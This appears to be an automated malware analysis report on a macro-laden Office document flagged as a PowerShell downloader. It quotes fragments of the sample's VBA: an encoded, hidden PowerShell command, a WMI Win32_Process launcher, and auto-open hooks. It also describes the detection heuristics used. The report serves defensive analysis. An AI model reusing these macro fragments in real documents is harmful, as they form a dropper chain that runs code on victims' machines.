Malicious Office (OLE) — malware analysis report

Heuristics 14

• ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
• VBA macros detected medium 7 related findings OLE_VBA_MACROS
  Document contains VBA macro code
• PowerShell reference in VBA critical OLE_VBA_PS
  PowerShell reference in VBA
  Matched line in script

      Dim qgfD As String
      qgfD = "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVg"
      qgfD = qgfD + "BlAHIAUwBpAG8ATgBUAEEAQgBsAEUALgBQAFMAVgBFAHIAcwBJ"

• VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
  VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  Matched line in script

      strComputer = "."
      Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
      Set objStartup = objWMIService.Get("Win32_ProcessStartup")

• GetObject call high OLE_VBA_GETOBJ
  GetObject call
  Matched line in script

      strComputer = "."
      Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
      Set objStartup = objWMIService.Get("Win32_ProcessStartup")

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  Attribute VB_Name = "NewMacros"
  Sub AutoOpen()
      Debugging

• Document_Open macro low OLE_VBA_DOCOPEN
  Document_Open macro
  Matched line in script

  Sub Document_Open()
      Debugging

• Auto_Open macro low OLE_VBA_AUTO
  Auto_Open macro
  Matched line in script

  Sub Auto_Open()
      Debugging

• Reference to PowerShell high SC_STR_POWERSHELL
  Reference to PowerShell
• LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
  Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
• Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
  OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Open this report in the interactive analyzer, or submit your own file for analysis.